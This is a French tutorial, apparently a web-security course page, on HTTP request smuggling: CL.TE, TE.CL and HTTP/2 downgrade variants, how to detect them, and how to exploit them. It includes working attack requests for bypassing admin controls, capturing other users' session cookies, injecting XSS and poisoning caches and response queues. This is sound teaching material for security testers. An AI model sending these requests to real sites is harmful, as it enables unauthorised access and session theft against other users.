Aller au contenu

HTTP request smuggling

La désynchronisation de requêtes HTTP (HTTP request smuggling) consiste à perturber la façon dont une chaîne de serveurs traite une séquence de requêtes HTTP. Ces vulnérabilités sont souvent critiques : elles permettent de contourner des contrôles de sécurité, d'accéder sans autorisation à des données sensibles et de compromettre directement d'autres utilisateurs. Le smuggling est principalement associé à HTTP/1, mais les sites prenant en charge HTTP/2 peuvent y être vulnérables selon leur architecture backend.

Le principe

Les applications modernes placent souvent une chaîne de serveurs entre l'utilisateur et la logique applicative : un serveur frontend (répartiteur de charge, proxy inverse) transmet les requêtes à un ou plusieurs serveurs backend. Pour des raisons de performance, le frontend envoie plusieurs requêtes sur la même connexion réseau backend, les unes après les autres. Le serveur destinataire doit donc déterminer où finit une requête et où commence la suivante.

Si frontend et backend ne s'accordent pas sur ces limites de requêtes, un attaquant peut envoyer une requête ambiguë, interprétée différemment par les deux. Une partie de la requête est alors considérée par le backend comme le début de la requête suivante — celle d'un autre utilisateur — ce qui en perturbe le traitement.

L'origine : Content-Length contre Transfer-Encoding

La plupart des vulnérabilités proviennent du fait que HTTP/1 offre deux façons de délimiter la fin d'une requête. L'en-tête Content-Length indique la longueur du corps en octets :

POST /search HTTP/1.1
Host: site.example
Content-Length: 11

q=smuggling

L'en-tête Transfer-Encoding: chunked indique un corps découpé en blocs, chacun précédé de sa taille en hexadécimal, le tout terminé par un bloc de taille nulle :

POST /search HTTP/1.1
Host: site.example
Transfer-Encoding: chunked

b
q=smuggling
0

Un point souvent ignoré

Beaucoup de testeurs oublient que l'encodage par blocs est valide dans les requêtes, car Burp Suite le décode automatiquement à l'affichage et les navigateurs ne l'utilisent quasiment jamais en émission.

La spécification prévoit que si les deux en-têtes sont présents, Content-Length doit être ignoré. Cela suffit pour un serveur isolé, mais pas pour une chaîne : certains serveurs ne prennent pas en charge Transfer-Encoding, et d'autres peuvent être amenés à l'ignorer s'il est obfusqué. Si frontend et backend traitent cet en-tête différemment, ils divergent sur les limites des requêtes — c'est la faille.

Les sites en HTTP/2 de bout en bout y sont immunisés, ce protocole disposant d'un mécanisme unique et robuste de longueur. Mais beaucoup déploient un frontend HTTP/2 devant un backend HTTP/1, ce qui impose une traduction — la rétrogradation HTTP/2 — source de nombreuses attaques (voir plus bas).

Les trois variantes classiques

L'attaque place les deux en-têtes dans une même requête HTTP/1 et les manipule selon le comportement des serveurs :

  • CL.TE : le frontend utilise Content-Length, le backend Transfer-Encoding.
  • TE.CL : le frontend utilise Transfer-Encoding, le backend Content-Length.
  • TE.TE : les deux gèrent Transfer-Encoding, mais on obfusque l'en-tête pour qu'un seul le traite.

Ces techniques ne fonctionnent qu'en HTTP/1. Pour tester un site HTTP/2 dans Burp Repeater, il faut forcer manuellement le protocole dans les attributs de requête de l'Inspector.

CL.TE

Le frontend lit le Content-Length et transmet le corps jusqu'à la longueur indiquée. Le backend, lui, lit le Transfer-Encoding, traite le premier bloc, et s'arrête au bloc de taille nulle — laissant les octets suivants comme début de la requête suivante :

POST / HTTP/1.1
Host: site-vulnerable.example
Content-Length: 6
Transfer-Encoding: chunked

0

G

Envoyée deux fois, cette requête provoque une seconde réponse signalant une méthode inconnue (GPOST), confirmant que le G résiduel a préfixé la requête suivante.

TE.CL

Configuration inverse. Le frontend lit le Transfer-Encoding ; le backend lit le Content-Length et s'arrête après le nombre d'octets indiqué, laissant le reste préfixer la requête suivante :

POST / HTTP/1.1
Host: site-vulnerable.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

x=1
0

Réglages Burp pour TE.CL

Il faut décocher l'option « Update Content-Length » dans le menu Repeater, et inclure la séquence finale \r\n\r\n après le 0. En TE.CL, le Content-Length vaut souvent la longueur de la chaîne de taille du bloc + 2 (pour le \r\n).

TE.TE : obfuscation de l'en-tête

Les deux serveurs gèrent Transfer-Encoding, mais on cherche une variante obfusquée qu'un seul traite. Il existe d'innombrables variantes, chacune s'écartant subtilement de la spécification :

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding:[tab]chunked
 Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

Selon le serveur trompé, l'attaque prend ensuite la forme d'un CL.TE ou d'un TE.CL.

Détecter une vulnérabilité

La méthode la plus efficace repose sur le délai de réponse. Pour un CL.TE, on envoie une requête dont le frontend (lisant Content-Length) transmet une partie incomplète, tandis que le backend (lisant Transfer-Encoding) attend un bloc qui n'arrive jamais :

POST / HTTP/1.1
Host: site-vulnerable.example
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

Le délai trahit la vulnérabilité. La détection TE.CL est symétrique, mais peut perturber les autres utilisateurs si le site est en réalité CL.TE : on teste donc toujours CL.TE en premier.

Confirmer par réponses différentielles

Pour confirmer sans ambiguïté, on envoie deux requêtes à la suite — une requête « d'attaque » conçue pour interférer, puis une requête « normale ». Si la réponse à la normale porte la trace de l'interférence (un code 404 sur une URL valide, par exemple), la vulnérabilité est avérée. Pour un CL.TE :

POST / HTTP/1.1
Host: site-vulnerable.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Foo: x

Quelques précautions sont essentielles : les deux requêtes doivent passer par des connexions distinctes ; elles doivent viser la même URL et les mêmes paramètres (le routage backend en dépend souvent) ; la normale doit suivre immédiatement l'attaque ; et plusieurs tentatives peuvent être nécessaires si l'application est sollicitée ou répartit la charge. Si l'attaque touche une requête qui n'est pas la vôtre, c'est qu'un autre utilisateur a été affecté — la prudence s'impose.

Exploiter le smuggling

Contourner les contrôles de sécurité frontend

Quand le frontend applique les contrôles d'accès et que le backend fait confiance aux requêtes transmises, on smuggle une requête vers une URL restreinte. Le frontend ne voit que des requêtes autorisées ; le backend traite la requête interdite en la croyant validée :

POST /home HTTP/1.1
Host: site-vulnerable.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: site-vulnerable.example
Foo: x

Quand l'accès admin est restreint au local, on cible Host: localhost. Si le backend refuse les en-têtes Host dupliqués, on fait absorber les en-têtes de la requête suivante dans le corps de la requête smugglée, grâce à un Content-Length placé sur le préfixe injecté.

Révéler la réécriture des requêtes frontend

Le frontend ajoute souvent des en-têtes avant de transmettre (IP via X-Forwarded-For, identité de l'utilisateur, données TLS). Pour les révéler — utile afin que les requêtes smugglées soient traitées correctement — on smuggle une requête vers une fonction qui réfléchit un paramètre, en plaçant ce paramètre en dernier avec un Content-Length généreux. La requête réécrite suivante apparaît alors dans la réponse réfléchie :

POST / HTTP/1.1
Host: site-vulnerable.example
Content-Length: 166
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Host: site-vulnerable.example
Content-Length: 100
Content-Type: application/x-www-form-urlencoded

search=

On ajuste le Content-Length progressivement : trop court, on ne voit qu'une partie ; trop long, le serveur expire en attendant la suite. Une fois les en-têtes internes connus, on les reproduit dans ses requêtes smugglées (par exemple un en-tête d'IP interne réglé sur 127.0.0.1).

Contourner l'authentification par certificat client

En TLS mutuel, le frontend authentifie le client par certificat et transmet le résultat au backend via un en-tête non standard, auquel le backend fait implicitement confiance. Le frontend écrase normalement cet en-tête s'il est déjà présent — mais une requête smugglée lui est invisible, donc ses en-têtes passent intacts :

POST /example HTTP/1.1
Host: site-vulnerable.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

Capturer les requêtes d'autres utilisateurs

Si l'application stocke et réaffiche du texte (commentaire, profil), on peut y capturer la requête d'une victime. On smuggle une requête de stockage dont le paramètre de contenu est placé en dernier, avec un Content-Length excessif : le backend attend les octets manquants, qui seront fournis par le début de la requête de la victime — laquelle se retrouve alors publiée comme commentaire :

GET / HTTP/1.1
Host: site-vulnerable.example
Transfer-Encoding: chunked
Content-Length: 330

0

POST /post/comment HTTP/1.1
Host: site-vulnerable.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=...

csrf=...&postId=2&name=Victime&email=v@exemple.net&comment=

On ajuste le Content-Length par essais : un délai signale une valeur trop grande, des données manquantes une valeur trop petite. Limite : la capture s'arrête au délimiteur de paramètre (& en x-www-form-urlencoded). Le cookie de session ainsi récupéré permet d'usurper la session de la victime.

Réfléchir le smuggling vers d'autres attaques

Le smuggling amplifie d'autres vulnérabilités, sans interaction de la victime. Une XSS réfléchie dans un en-tête (comme User-Agent), normalement difficile à exploiter, devient déclenchable en l'injectant dans une requête smugglée que la victime « héritera » :

POST / HTTP/1.1
Host: site-vulnerable.example
Content-Length: 63
Transfer-Encoding: chunked

0

GET /post?postId=1 HTTP/1.1
User-Agent: "><script>alert(1)</script>
Foo: x

De même, une redirection interne fondée sur l'en-tête Host se transforme en redirection ouverte : on smuggle un Host: attaquant.example, et la requête suivante de la victime (par exemple le chargement d'un fichier JavaScript) est redirigée vers le serveur de l'attaquant, qui sert son propre code.

Empoisonnement et tromperie du cache

Si le frontend met en cache, on peut empoisonner ce cache de façon persistante. La distinction est importante : l'empoisonnement stocke un contenu malveillant servi ensuite à tous (typiquement une redirection externe associée à une ressource légitime) ; la tromperie (cache deception) stocke le contenu privé d'une victime sous une URL publique que l'attaquant récupère ensuite. Pour ce dernier cas, on smuggle une requête vers une ressource sensible spécifique à l'utilisateur, et la réponse — traitée dans le contexte de la victime — est mise en cache sous l'URL d'une ressource statique.

Smuggling avancé : HTTP/2

Contrairement à une idée reçue, la rétrogradation HTTP/2 a rendu de nombreux sites plus vulnérables. En HTTP/2, chaque requête est transmise en frames binaires préfixées d'une longueur explicite, ce qui élimine toute ambiguïté — tant que le site est en HTTP/2 de bout en bout. La rétrogradation réécrit les requêtes HTTP/2 en syntaxe HTTP/1 pour un backend HTTP/1, réintroduisant la faille.

H2.CL et H2.TE

En H2.CL, le frontend déduit normalement le Content-Length du mécanisme HTTP/2, mais certains réutilisent un Content-Length fourni dans la requête HTTP/2 sans le valider. On injecte alors une valeur erronée qui désynchronise le backend :

:method   POST
:path     /example
:authority site-vulnerable.example
content-length  0

GET /admin HTTP/1.1
Host: site-vulnerable.example
Content-Length: 10

x=1

En H2.TE, la spécification impose de supprimer tout Transfer-Encoding injecté ; un frontend qui l'ignore et rétrograde vers un backend gérant les blocs ouvre la voie au smuggling.

Vecteurs exclusifs à HTTP/2 : injection CRLF

Le format binaire d'HTTP/2 délimite les en-têtes par des décalages, pas par des caractères. Une séquence \r\n peut donc figurer dans une valeur d'en-tête sans la diviser — mais à la rétrogradation, ce \r\n redevient un délimiteur, créant deux en-têtes côté backend :

foo   bar\r\nTransfer-Encoding: chunked

devient, côté HTTP/1 :

Foo: bar
Transfer-Encoding: chunked

Cette technique permet de smuggler des en-têtes interdits malgré une validation frontend. La même logique s'applique via le nom d'un en-tête (HTTP/2 autorisant les deux-points dans un nom) et via les pseudo-en-têtes : un :path dupliqué crée un chemin ambigu, un :method tolérant les espaces permet d'injecter une ligne de requête entière, et un :scheme arbitraire permet de préfixer une URL générée dynamiquement. Lors d'une injection dans :path ou :method, il faut préserver une ligne de requête HTTP/1 valide de la forme <méthode> <chemin> HTTP/1.1.

Support HTTP/2 caché

Certains serveurs gèrent HTTP/2 sans l'annoncer via ALPN. Forcer Burp Repeater à utiliser HTTP/2 (option HTTP/2 ALPN override) peut révéler des failles de rétrogradation invisibles autrement.

Empoisonnement de la file de réponses

C'est l'attaque la plus puissante : on smuggle une requête complète et autonome, qui provoque deux réponses backend là où le frontend n'en attend qu'une. La file des réponses se désynchronise alors durablement : chaque utilisateur de la connexion reçoit la réponse destinée à un autre. L'impact est catastrophique — interception de réponses arbitraires (jetons de session compris) par simple envoi de requêtes de suivi, et déni de service pour les autres utilisateurs de la connexion.

La clé est de smuggler exactement deux requêtes complètes sans qu'aucune requête invalide n'atteigne le serveur (ce qui fermerait la connexion). La scission de requête HTTP/2 permet de réaliser cela dans les en-têtes plutôt que dans le corps, donc même avec une requête GET, en tenant compte des en-têtes que le frontend ajoute à la rétrogradation (notamment le Host, qu'il faut positionner pour qu'il atterrisse dans la première requête après la scission).

Tunnelisation de requêtes

Quand le frontend ne réutilise pas la connexion entre clients, le smuggling classique est impossible — mais on peut tunneliser : envoyer une seule requête générant deux réponses, masquant la seconde au frontend. C'est plus limité, mais cela contourne des défenses anti-smuggling. En HTTP/2, une réponse dont le corps ressemble à une réponse HTTP/1 confirme la tunnelisation. On peut faire fuiter les en-têtes internes en les faisant absorber dans un paramètre de corps, et rendre une tunnelisation aveugle non aveugle via une requête HEAD : la réponse à un HEAD porte un Content-Length correspondant à la ressource d'un GET, que certains frontends sur-lisent, exposant le début de la réponse tunnelisée. L'équilibrage de la longueur (via une ressource plus ou moins longue, ou un remplissage réfléchi) est alors la difficulté principale.

CL.0 et désynchronisation navigateur

Les attaques CL.0 surviennent quand le frontend ignore un Content-Length que le backend traite — ou l'inverse : le backend traite Content-Length comme valant 0, supposant que chaque requête finit avec ses en-têtes. Ce comportement s'observe surtout sur des endpoints qui n'attendent pas de POST (fichiers statiques, redirections serveur). Le test consiste à envoyer une requête de configuration contenant une requête partielle dans son corps, suivie d'une requête normale, et à vérifier si cette dernière est affectée — le tout en envoyant le groupe sur une seule connexion (Send group in sequence) avec Connection: keep-alive, sans jamais modifier les en-têtes. Si aucun endpoint n'est vulnérable, on peut provoquer le comportement via une erreur d'en-tête ou un Content-Length obfusqué sur une requête GET. Les variantes H2.0 (rétrogradation où le backend ignore le Content-Length) et les désynchronisations côté client (client-side desync, pause-based) prolongent ces techniques.

Aide-mémoire

Variante Frontend / Backend
CL.TE Content-Length / Transfer-Encoding
TE.CL Transfer-Encoding / Content-Length
TE.TE les deux, un en-tête obfusqué
H2.CL / H2.TE rétrogradation HTTP/2 avec en-tête réinjecté
CL.0 backend ignore Content-Length
Exploitation Effet
Préfixe vers URL restreinte Contournement des contrôles frontend
Content-Length excessif Capture des requêtes d'autres utilisateurs
XSS / redirection en préfixe Attaque d'autres utilisateurs sans interaction
Requête complète smugglée Empoisonnement de la file de réponses
Requête générant deux réponses Tunnelisation (contourne l'anti-smuggling)

Détecter CL.TE avant TE.CL, viser la même URL pour l'attaque et la normale, et ajuster patiemment les Content-Length sont les trois réflexes qui conditionnent la réussite d'un test de smuggling. Burp Scanner automatise la détection par délai et le repérage du support HTTP/2 caché.